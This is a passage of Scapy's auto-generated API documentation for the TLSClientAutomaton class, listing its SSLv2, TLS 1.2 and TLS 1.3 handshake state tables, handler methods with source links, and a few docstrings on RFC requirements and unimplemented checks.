[<function TLSClientAutomaton.should_add_ClientHello>], 'PREPARE_CLIENTFLIGHT2': [<function TLSClientAutomaton.should_add_ClientCertificate>, <function TLSClientAutomaton.should_add_ClientKeyExchange_from_ClientFlight2>], 'RECEIVED_SERVERDATA': [<function TLSClientAutomaton.should_handle_CertificateRequest_postauth>, <function TLSClientAutomaton.should_handle_NewSessionTicket>, <function TLSClientAutomaton.should_handle_ServerData>], 'RECEIVED_SERVERFLIGHT1': [<function TLSClientAutomaton.should_handle_ServerHello>, <function TLSClientAutomaton.missing_ServerHello>], 'RECEIVED_SERVERFLIGHT2': [<function TLSClientAutomaton.should_handle_ChangeCipherSpec>], 'SENT_CLIENTDATA': [], 'SENT_CLIENTFLIGHT1': [], 'SENT_CLIENTFLIGHT2': [], 'SOCKET_CLOSED': [], 'SSLv2_ADDED_CLIENTCERTIFICATE': [<function TLSClientAutomaton.sslv2_should_send_ClientCertificate>], 'SSLv2_ADDED_CLIENTDATA': [<function TLSClientAutomaton.sslv2_should_send_ClientData>], 'SSLv2_ADDED_CLIENTFINISHED': [<function TLSClientAutomaton.sslv2_should_send_ClientFinished>], 'SSLv2_ADDED_CLIENTHELLO': [<function TLSClientAutomaton.sslv2_should_send_ClientHello>], 'SSLv2_ADDED_CLIENTMASTERKEY': [<function TLSClientAutomaton.sslv2_should_send_ClientMasterKey>], 'SSLv2_CLOSE_NOTIFY': [<function TLSClientAutomaton.sslv2_close_session>], 'SSLv2_HANDLED_REQUESTCERTIFICATE': [<function TLSClientAutomaton.sslv2_should_add_ClientCertificate>], 'SSLv2_HANDLED_SERVERDATA': [], 'SSLv2_HANDLED_SERVERFINISHED': [<function TLSClientAutomaton.sslv2_should_wait_ClientData>], 'SSLv2_HANDLED_SERVERHELLO': [<function TLSClientAutomaton.sslv2_should_add_ClientMasterKey>], 'SSLv2_HANDLED_SERVERVERIFY': [<function TLSClientAutomaton.sslv2_should_add_ClientFinished_from_ServerVerify>, <function TLSClientAutomaton.sslv2_should_wait_ServerFinished_from_ServerVerify>], 'SSLv2_MISSING_SERVERFINISHED': [], 'SSLv2_MISSING_SERVERHELLO': [], 'SSLv2_MISSING_SERVERVERIFY': [], 'SSLv2_PREPARE_CLIENTHELLO': [<function TLSClientAutomaton.sslv2_should_add_ClientHello>], 'SSLv2_RECEIVED_SERVERDATA': [<function TLSClientAutomaton.sslv2_should_handle_ServerData>], 'SSLv2_RECEIVED_SERVERFINISHED': [<function TLSClientAutomaton.sslv2_should_handle_ServerFinished>, <function TLSClientAutomaton.sslv2_should_handle_RequestCertificate>, <function TLSClientAutomaton.sslv2_missing_ServerFinished>], 'SSLv2_RECEIVED_SERVERHELLO': [<function TLSClientAutomaton.sslv2_should_handle_ServerHello>, <function TLSClientAutomaton.sslv2_missing_ServerHello>], 'SSLv2_RECEIVED_SERVERVERIFY': [<function TLSClientAutomaton.sslv2_should_handle_ServerVerify>, <function TLSClientAutomaton.sslv2_should_add_ClientFinished_from_NoServerVerify>, <function TLSClientAutomaton.sslv2_missing_ServerVerify>], 'SSLv2_SENT_CLIENTCERTIFICATE': [], 'SSLv2_SENT_CLIENTDATA': [], 'SSLv2_SENT_CLIENTFINISHED': [], 'SSLv2_SENT_CLIENTHELLO': [], 'SSLv2_SENT_CLIENTMASTERKEY': [], 'SSLv2_WAITING_CLIENTDATA': [<function TLSClientAutomaton.sslv2_add_ClientData>, <function TLSClientAutomaton.sslv2_no_more_ClientData>], 'SSLv2_WAITING_SERVERDATA': [], 'SSLv2_WAITING_SERVERFINISHED': [], 'SSLv2_WAITING_SERVERHELLO': [], 'SSLv2_WAITING_SERVERVERIFY': [], 'STOP': [], 'TLS13_ADDED_CERTIFICATEVERIFY': [], 'TLS13_ADDED_CLIENTCERTIFICATE': [<function TLSClientAutomaton.tls13_should_skip_ClientCertificateVerify>, <function TLSClientAutomaton.tls13_should_add_ClientCertificateVerify>], 'TLS13_ADDED_CLIENTFINISHED': [<function TLSClientAutomaton.tls13_should_send_ClientFlight2>], 'TLS13_ADDED_CLIENTHELLO': [], 'TLS13_HANDLED_ALERT_FROM_SERVERFLIGHT1': [], 'TLS13_HANDLED_CERTIFICATE': [<function TLSClientAutomaton.tls13_should_handle_CertificateVerify>, <function TLSClientAutomaton.tls13_missing_CertificateVerify>], 'TLS13_HANDLED_CERTIFICATEREQUEST': [<function TLSClientAutomaton.tls13_should_handle_Certificate_from_CertificateRequest>], 'TLS13_HANDLED_CERTIFICATE_VERIFY': [<function TLSClientAutomaton.tls13_should_handle_finished>], 'TLS13_HANDLED_CHANGE_CIPHER_SPEC': [], 'TLS13_HANDLED_ENCRYPTEDEXTENSIONS': [<function TLSClientAutomaton.tls13_should_handle_certificateRequest_from_encryptedExtensions>, <function TLSClientAutomaton.tls13_should_handle_certificate_from_encryptedExtensions>, <function TLSClientAutomaton.tls13_should_handle_finished_from_encryptedExtensions>], 'TLS13_HANDLED_FINISHED': [], 'TLS13_HANDLED_SERVERHELLO': [<function TLSClientAutomaton.tls13_should_handle_encrytpedExtensions>, <function TLSClientAutomaton.tls13_should_handle_ChangeCipherSpec>, <function TLSClientAutomaton.tls13_missing_encryptedExtension>], 'TLS13_HELLO_RETRY_REQUESTED': [<function TLSClientAutomaton.tls13_should_add_ClientHello_Retry>], 'TLS13_PREPARE_CLIENTFLIGHT2': [<function TLSClientAutomaton.tls13_should_add_ClientCertificate>, <function TLSClientAutomaton.tls13_should_add_ClientFinished>], 'TLS13_RECEIVED_NEW_SESSION_TICKET': [<function TLSClientAutomaton.should_store_session_ticket_file>], 'TLS13_RECEIVED_POST_AUTHENTICATION_REQUEST': [<function TLSClientAutomaton.should_send_CertificateRequest_postauth>, <function TLSClientAutomaton.should_fail_CertificateRequest_postauth>], 'TLS13_RECEIVED_SERVERFLIGHT1': [<function TLSClientAutomaton.tls13_should_handle_ServerHello>, <function TLSClientAutomaton.tls13_should_handle_HelloRetryRequest>, <function TLSClientAutomaton.tls13_should_handle_AlertMessage_>, <function TLSClientAutomaton.tls13_should_handle_ChangeCipherSpec_after_tls13_retry>, <function TLSClientAutomaton.tls13_missing_ServerHello>], 'TLS13_SENDING_CLIENTFLIGHT1': [<function TLSClientAutomaton.tls13_should_send_ClientFlight1>], 'TLS13_SENT_CLIENTFLIGHT1': [], 'TLS13_SENT_CLIENTFLIGHT2': [], 'TLS13_START': [<function TLSClientAutomaton.tls13_should_add_ClientHello>], 'TLS13_WAITING_SERVERFLIGHT1': [], 'WAITING_SERVERDATA': [], 'WAITING_SERVERFLIGHT1': [], 'WAITING_SERVERFLIGHT2': [], 'WAIT_CLIENTDATA': [<function TLSClientAutomaton.add_ClientData>, <function TLSClientAutomaton.no_more_ClientData>]}

	




	
eofs: Dict[str, _StateWrapper] = {}

	




	
initial_states: List[_StateWrapper] = [<function ATMT.state.<locals>.deco.<locals>._state_wrapper>]

	




	
intercepted_packet: None | Packet

	




	
interception_points: Set[_StateWrapper]

	




	
ioevents: Dict[str, List[_StateWrapper]] = {'ADDED_CERTIFICATEVERIFY': [], 'ADDED_CHANGECIPHERSPEC': [], 'ADDED_CLIENTCERTIFICATE': [], 'ADDED_CLIENTDATA': [], 'ADDED_CLIENTFINISHED': [], 'ADDED_CLIENTHELLO': [], 'ADDED_CLIENTKEYEXCHANGE': [], 'CLOSE_NOTIFY': [], 'CONNECT': [], 'FINAL': [], 'HANDLED_CERTIFICATEREQUEST': [], 'HANDLED_CHANGECIPHERSPEC': [], 'HANDLED_SERVERCERTIFICATE': [], 'HANDLED_SERVERDATA': [], 'HANDLED_SERVERFINISHED': [], 'HANDLED_SERVERHELLO': [], 'HANDLED_SERVERHELLODONE': [], 'HANDLED_SERVERKEYEXCHANGE': [], 'INITIAL': [<function TLSClientAutomaton._socket>], 'INIT_TLS_SESSION': [], 'MISSING_SERVERCERTIFICATE': [], 'MISSING_SERVERHELLO': [], 'MISSING_SERVERKEYEXCHANGE': [], 'PREPARE_CLIENTFLIGHT1': [], 'PREPARE_CLIENTFLIGHT2': [], 'RECEIVED_SERVERDATA': [], 'RECEIVED_SERVERFLIGHT1': [], 'RECEIVED_SERVERFLIGHT2': [], 'SENT_CLIENTDATA': [], 'SENT_CLIENTFLIGHT1': [], 'SENT_CLIENTFLIGHT2': [], 'SOCKET_CLOSED': [], 'SSLv2_ADDED_CLIENTCERTIFICATE': [], 'SSLv2_ADDED_CLIENTDATA': [], 'SSLv2_ADDED_CLIENTFINISHED': [], 'SSLv2_ADDED_CLIENTHELLO': [], 'SSLv2_ADDED_CLIENTMASTERKEY': [], 'SSLv2_CLOSE_NOTIFY': [], 'SSLv2_HANDLED_REQUESTCERTIFICATE': [], 'SSLv2_HANDLED_SERVERDATA': [], 'SSLv2_HANDLED_SERVERFINISHED': [], 'SSLv2_HANDLED_SERVERHELLO': [], 'SSLv2_HANDLED_SERVERVERIFY': [], 'SSLv2_MISSING_SERVERFINISHED': [], 'SSLv2_MISSING_SERVERHELLO': [], 'SSLv2_MISSING_SERVERVERIFY': [], 'SSLv2_PREPARE_CLIENTHELLO': [], 'SSLv2_RECEIVED_SERVERDATA': [], 'SSLv2_RECEIVED_SERVERFINISHED': [], 'SSLv2_RECEIVED_SERVERHELLO': [], 'SSLv2_RECEIVED_SERVERVERIFY': [], 'SSLv2_SENT_CLIENTCERTIFICATE': [], 'SSLv2_SENT_CLIENTDATA': [], 'SSLv2_SENT_CLIENTFINISHED': [], 'SSLv2_SENT_CLIENTHELLO': [], 'SSLv2_SENT_CLIENTMASTERKEY': [], 'SSLv2_WAITING_CLIENTDATA': [], 'SSLv2_WAITING_SERVERDATA': [], 'SSLv2_WAITING_SERVERFINISHED': [], 'SSLv2_WAITING_SERVERHELLO': [], 'SSLv2_WAITING_SERVERVERIFY': [], 'STOP': [], 'TLS13_ADDED_CERTIFICATEVERIFY': [], 'TLS13_ADDED_CLIENTCERTIFICATE': [], 'TLS13_ADDED_CLIENTFINISHED': [], 'TLS13_ADDED_CLIENTHELLO': [], 'TLS13_HANDLED_ALERT_FROM_SERVERFLIGHT1': [], 'TLS13_HANDLED_CERTIFICATE': [], 'TLS13_HANDLED_CERTIFICATEREQUEST': [], 'TLS13_HANDLED_CERTIFICATE_VERIFY': [], 'TLS13_HANDLED_CHANGE_CIPHER_SPEC': [], 'TLS13_HANDLED_ENCRYPTEDEXTENSIONS': [], 'TLS13_HANDLED_FINISHED': [], 'TLS13_HANDLED_SERVERHELLO': [], 'TLS13_HELLO_RETRY_REQUESTED': [], 'TLS13_PREPARE_CLIENTFLIGHT2': [], 'TLS13_RECEIVED_NEW_SESSION_TICKET': [], 'TLS13_RECEIVED_POST_AUTHENTICATION_REQUEST': [], 'TLS13_RECEIVED_SERVERFLIGHT1': [], 'TLS13_SENDING_CLIENTFLIGHT1': [], 'TLS13_SENT_CLIENTFLIGHT1': [], 'TLS13_SENT_CLIENTFLIGHT2': [], 'TLS13_START': [], 'TLS13_WAITING_SERVERFLIGHT1': [], 'WAITING_SERVERDATA': [], 'WAITING_SERVERFLIGHT1': [], 'WAITING_SERVERFLIGHT2': [], 'WAIT_CLIENTDATA': []}

	




	
ionames: List[str] = ['tls']

	




	
iosupersockets: List[SuperSocket] = [<function TLSClientAutomaton._socket>]

	




	
listen_sock: SuperSocket | None

	




	
missing_ServerCertificate()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L378-L380]

	




	
missing_ServerHello()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L358-L360]

	




	
missing_ServerKeyExchange()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L407-L410]

	




	
no_more_ClientData()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L628-L630]

	




	
packets: PacketList

	




	
parse_args(server='127.0.0.1', dport=4433, server_name=None, mycert=None, mykey=None, client_hello=None, version=None, resumption_master_secret=None, session_ticket_file_in=None, session_ticket_file_out=None, psk=None, psk_mode=None, data=None, ciphersuite=None, curve=None, supported_groups=None, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L109-L189]

	




	
recv_conditions: Dict[str, List[_StateWrapper]] = {'ADDED_CERTIFICATEVERIFY': [], 'ADDED_CHANGECIPHERSPEC': [], 'ADDED_CLIENTCERTIFICATE': [], 'ADDED_CLIENTDATA': [], 'ADDED_CLIENTFINISHED': [], 'ADDED_CLIENTHELLO': [], 'ADDED_CLIENTKEYEXCHANGE': [], 'CLOSE_NOTIFY': [], 'CONNECT': [], 'FINAL': [], 'HANDLED_CERTIFICATEREQUEST': [], 'HANDLED_CHANGECIPHERSPEC': [], 'HANDLED_SERVERCERTIFICATE': [], 'HANDLED_SERVERDATA': [], 'HANDLED_SERVERFINISHED': [], 'HANDLED_SERVERHELLO': [], 'HANDLED_SERVERHELLODONE': [], 'HANDLED_SERVERKEYEXCHANGE': [], 'INITIAL': [], 'INIT_TLS_SESSION': [], 'MISSING_SERVERCERTIFICATE': [], 'MISSING_SERVERHELLO': [], 'MISSING_SERVERKEYEXCHANGE': [], 'PREPARE_CLIENTFLIGHT1': [], 'PREPARE_CLIENTFLIGHT2': [], 'RECEIVED_SERVERDATA': [], 'RECEIVED_SERVERFLIGHT1': [], 'RECEIVED_SERVERFLIGHT2': [], 'SENT_CLIENTDATA': [], 'SENT_CLIENTFLIGHT1': [], 'SENT_CLIENTFLIGHT2': [], 'SOCKET_CLOSED': [], 'SSLv2_ADDED_CLIENTCERTIFICATE': [], 'SSLv2_ADDED_CLIENTDATA': [], 'SSLv2_ADDED_CLIENTFINISHED': [], 'SSLv2_ADDED_CLIENTHELLO': [], 'SSLv2_ADDED_CLIENTMASTERKEY': [], 'SSLv2_CLOSE_NOTIFY': [], 'SSLv2_HANDLED_REQUESTCERTIFICATE': [], 'SSLv2_HANDLED_SERVERDATA': [], 'SSLv2_HANDLED_SERVERFINISHED': [], 'SSLv2_HANDLED_SERVERHELLO': [], 'SSLv2_HANDLED_SERVERVERIFY': [], 'SSLv2_MISSING_SERVERFINISHED': [], 'SSLv2_MISSING_SERVERHELLO': [], 'SSLv2_MISSING_SERVERVERIFY': [], 'SSLv2_PREPARE_CLIENTHELLO': [], 'SSLv2_RECEIVED_SERVERDATA': [], 'SSLv2_RECEIVED_SERVERFINISHED': [], 'SSLv2_RECEIVED_SERVERHELLO': [], 'SSLv2_RECEIVED_SERVERVERIFY': [], 'SSLv2_SENT_CLIENTCERTIFICATE': [], 'SSLv2_SENT_CLIENTDATA': [], 'SSLv2_SENT_CLIENTFINISHED': [], 'SSLv2_SENT_CLIENTHELLO': [], 'SSLv2_SENT_CLIENTMASTERKEY': [], 'SSLv2_WAITING_CLIENTDATA': [], 'SSLv2_WAITING_SERVERDATA': [], 'SSLv2_WAITING_SERVERFINISHED': [], 'SSLv2_WAITING_SERVERHELLO': [], 'SSLv2_WAITING_SERVERVERIFY': [], 'STOP': [], 'TLS13_ADDED_CERTIFICATEVERIFY': [], 'TLS13_ADDED_CLIENTCERTIFICATE': [], 'TLS13_ADDED_CLIENTFINISHED': [], 'TLS13_ADDED_CLIENTHELLO': [], 'TLS13_HANDLED_ALERT_FROM_SERVERFLIGHT1': [], 'TLS13_HANDLED_CERTIFICATE': [], 'TLS13_HANDLED_CERTIFICATEREQUEST': [], 'TLS13_HANDLED_CERTIFICATE_VERIFY': [], 'TLS13_HANDLED_CHANGE_CIPHER_SPEC': [], 'TLS13_HANDLED_ENCRYPTEDEXTENSIONS': [], 'TLS13_HANDLED_FINISHED': [], 'TLS13_HANDLED_SERVERHELLO': [], 'TLS13_HELLO_RETRY_REQUESTED': [], 'TLS13_PREPARE_CLIENTFLIGHT2': [], 'TLS13_RECEIVED_NEW_SESSION_TICKET': [], 'TLS13_RECEIVED_POST_AUTHENTICATION_REQUEST': [], 'TLS13_RECEIVED_SERVERFLIGHT1': [], 'TLS13_SENDING_CLIENTFLIGHT1': [], 'TLS13_SENT_CLIENTFLIGHT1': [], 'TLS13_SENT_CLIENTFLIGHT2': [], 'TLS13_START': [], 'TLS13_WAITING_SERVERFLIGHT1': [], 'WAITING_SERVERDATA': [], 'WAITING_SERVERFLIGHT1': [], 'WAITING_SERVERFLIGHT2': [], 'WAIT_CLIENTDATA': []}

	




	
send_sock: SuperSocket | None

	




	
should_add_ChangeCipherSpec_from_CertificateVerify()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L516-L520]

	




	
should_add_ChangeCipherSpec_from_ClientKeyExchange()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L522-L526]

	




	
should_add_ClientCertificate()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L456-L474]

	If the server sent a CertificateRequest, we send a Certificate message.
If no certificate is available, an empty Certificate message is sent:
- this is a SHOULD in RFC 4346 (Section 7.4.6)
- this is a MUST in RFC 5246 (Section 7.4.6)

XXX We may want to add a complete chain.






	
should_add_ClientFinished()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L532-L536]

	




	
should_add_ClientHello()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L304-L321]

	




	
should_add_ClientKeyExchange()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L480-L482]

	




	
should_add_ClientKeyExchange_from_ClientCertificate()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L488-L490]

	




	
should_add_ClientKeyExchange_from_ClientFlight2()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L484-L486]

	




	
should_add_ClientVerify()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L496-L510]

	XXX Section 7.4.7.1 of RFC 5246 states that the CertificateVerify
message is only sent following a client certificate that has signing
capability (i.e. not those containing fixed DH params).
We should verify that before adding the message. We should also handle
the case when the Certificate message was empty.






	
should_fail_CertificateRequest_postauth()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L675-L682]

	




	
should_handle_CertificateRequest()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L416-L422]

	XXX We should check the CertificateRequest attributes for discrepancies
with the cipher suite, etc.






	
should_handle_CertificateRequest_from_ServerCertificate()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L428-L430]

	




	
should_handle_CertificateRequest_from_ServerKeyExchange()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L424-L426]

	




	
should_handle_CertificateRequest_postauth()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L656-L659]

	




	
should_handle_ChangeCipherSpec()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L560-L563]

	




	
should_handle_Finished()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L569-L572]

	




	
should_handle_NewSessionTicket()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L684-L687]

	




	
should_handle_ServerCertificate()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L367-L372]

	




	
should_handle_ServerData()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L738-L753]

	




	
should_handle_ServerHello()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L345-L352]

	XXX We should check the ServerHello attributes for discrepancies with
our own ClientHello.






	
should_handle_ServerHelloDone()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L432-L434]

	




	
should_handle_ServerHelloDone_from_CertificateRequest()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L440-L442]

	




	
should_handle_ServerHelloDone_from_ServerCertificate()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L444-L446]

	




	
should_handle_ServerHelloDone_from_ServerKeyExchange()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L436-L438]

	




	
should_handle_ServerKeyExchange_from_ServerCertificate()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L394-L401]

	XXX We should check the ServerKeyExchange attributes for discrepancies
with our own ClientHello, along with the ServerHello and Certificate.






	
should_send_CertificateRequest_postauth()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L670-L673]

	




	
should_send_ClientData()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L636-L639]

	




	
should_send_ClientFlight1()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L327-L330]

	




	
should_send_ClientFlight2()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L542-L545]

	




	
should_store_session_ticket_file()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L693-L736]

	




	
should_wait_ClientData()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L582-L584]

	




	
sslv2_add_ClientData()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L986-L999]

	




	
sslv2_close_session()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L1051-L1060]

	




	
sslv2_missing_ServerFinished()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L967-L969]

	




	
sslv2_missing_ServerHello()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L818-L820]

	




	
sslv2_missing_ServerVerify()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L886-L888]

	




	
sslv2_no_more_ClientData()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L1001-L1003]

	




	
sslv2_should_add_ClientCertificate()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L940-L944]

	




	
sslv2_should_add_ClientFinished()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L867-L872]

	




	
sslv2_should_add_ClientFinished_from_NoServerVerify()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L882-L884]

	




	
sslv2_should_add_ClientFinished_from_ServerVerify()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L874-L876]

	




	
sslv2_should_add_ClientHello()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L780-L785]

	




	
sslv2_should_add_ClientMasterKey()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L827-L831]

	




	
sslv2_should_handle_RequestCertificate()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L928-L931]

	




	
sslv2_should_handle_ServerData()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L1027-L1036]

	




	
sslv2_should_handle_ServerFinished()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L921-L924]

	




	
sslv2_should_handle_ServerHello()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L809-L812]

	




	
sslv2_should_handle_ServerVerify()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L857-L861]

	




	
sslv2_should_send_ClientCertificate()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L950-L953]

	




	
sslv2_should_send_ClientData()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L1009-L1012]

	




	
sslv2_should_send_ClientFinished()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L899-L902]

	




	
sslv2_should_send_ClientHello()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L791-L794]

	




	
sslv2_should_send_ClientMasterKey()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L837-L840]

	




	
sslv2_should_wait_ClientData()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L978-L980]

	




	
sslv2_should_wait_ServerFinished_from_ServerVerify()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L878-L880]

	




	
states: Dict[str, _StateWrapper] = {'ADDED_CERTIFICATEVERIFY': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'ADDED_CHANGECIPHERSPEC': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'ADDED_CLIENTCERTIFICATE': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'ADDED_CLIENTDATA': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'ADDED_CLIENTFINISHED': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'ADDED_CLIENTHELLO': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'ADDED_CLIENTKEYEXCHANGE': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'CLOSE_NOTIFY': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'CONNECT': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'FINAL': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'HANDLED_CERTIFICATEREQUEST': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'HANDLED_CHANGECIPHERSPEC': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'HANDLED_SERVERCERTIFICATE': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'HANDLED_SERVERDATA': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'HANDLED_SERVERFINISHED': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'HANDLED_SERVERHELLO': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'HANDLED_SERVERHELLODONE': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'HANDLED_SERVERKEYEXCHANGE': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'INITIAL': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'INIT_TLS_SESSION': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'MISSING_SERVERCERTIFICATE': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'MISSING_SERVERHELLO': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'MISSING_SERVERKEYEXCHANGE': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'PREPARE_CLIENTFLIGHT1': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'PREPARE_CLIENTFLIGHT2': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'RECEIVED_SERVERDATA': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'RECEIVED_SERVERFLIGHT1': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'RECEIVED_SERVERFLIGHT2': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SENT_CLIENTDATA': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SENT_CLIENTFLIGHT1': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SENT_CLIENTFLIGHT2': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SOCKET_CLOSED': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_ADDED_CLIENTCERTIFICATE': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_ADDED_CLIENTDATA': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_ADDED_CLIENTFINISHED': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_ADDED_CLIENTHELLO': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_ADDED_CLIENTMASTERKEY': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_CLOSE_NOTIFY': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_HANDLED_REQUESTCERTIFICATE': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_HANDLED_SERVERDATA': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_HANDLED_SERVERFINISHED': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_HANDLED_SERVERHELLO': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_HANDLED_SERVERVERIFY': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_MISSING_SERVERFINISHED': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_MISSING_SERVERHELLO': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_MISSING_SERVERVERIFY': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_PREPARE_CLIENTHELLO': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_RECEIVED_SERVERDATA': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_RECEIVED_SERVERFINISHED': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_RECEIVED_SERVERHELLO': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_RECEIVED_SERVERVERIFY': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SSLv2_SENT_CLIENTCERTIFICATE': 